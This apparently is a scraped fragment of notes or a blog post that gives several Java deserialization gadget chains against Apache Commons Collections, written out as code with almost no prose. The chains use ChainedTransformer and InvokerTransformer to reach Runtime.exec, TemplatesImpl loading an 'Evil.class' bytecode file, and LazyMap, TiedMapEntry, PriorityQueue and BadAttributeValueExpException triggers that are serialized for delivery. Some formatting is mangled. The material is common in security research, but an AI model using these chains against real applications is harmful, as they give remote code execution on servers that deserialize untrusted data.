ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}); InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}); InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"}); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod}); chainedTransformer.transform(null);
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class")); TemplatesImpl templates = new TemplatesImpl(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,newbyte[][]{bytecode}); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field _tfactory = templates.getClass().getDeclaredField("_tfactory"); _tfactory.setAccessible(true); _tfactory.set(templates,new TransformerFactoryImpl()); InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); factoryTransformer.transform(null);
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}); InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}); InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"}); Transformer[] transformers=new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),"b"); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry,"a"); Field map = tiedMapEntry.getClass().getDeclaredField("map"); map.setAccessible(true); map.set(tiedMapEntry,lazyMap); serialize(hashMap);
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class); InvokerTransformer getMethod = new InvokerTransformer("getMethod",new Class[]{ String.class,Class[].class}, new Object[]{"getRuntime",null}); InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}); InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"}); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, getMethod, invoke, exec}); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); // transformingComparator.compare("a","b"); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); Field size = priorityQueue.getClass().getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue,2); serialize(priorityQueue);
InstantiateTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
byte[] bytecode = Files.readAllBytes(Paths.get("/Users/xuemo/Desktop/java_project/debug/target/classes/Evil.class")); TemplatesImpl templates = new TemplatesImpl(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,newbyte[][]{bytecode}); Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); ConstantTransformer constantTransformer = new ConstantTransformer(TrAXFilter.class); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, instantiateTransformer}); TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); Field size = priorityQueue.getClass().getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue,2); serialize(priorityQueue);
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}); InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}); InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"}); Transformer[] transformers=new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "a"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("a"); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); deserialize();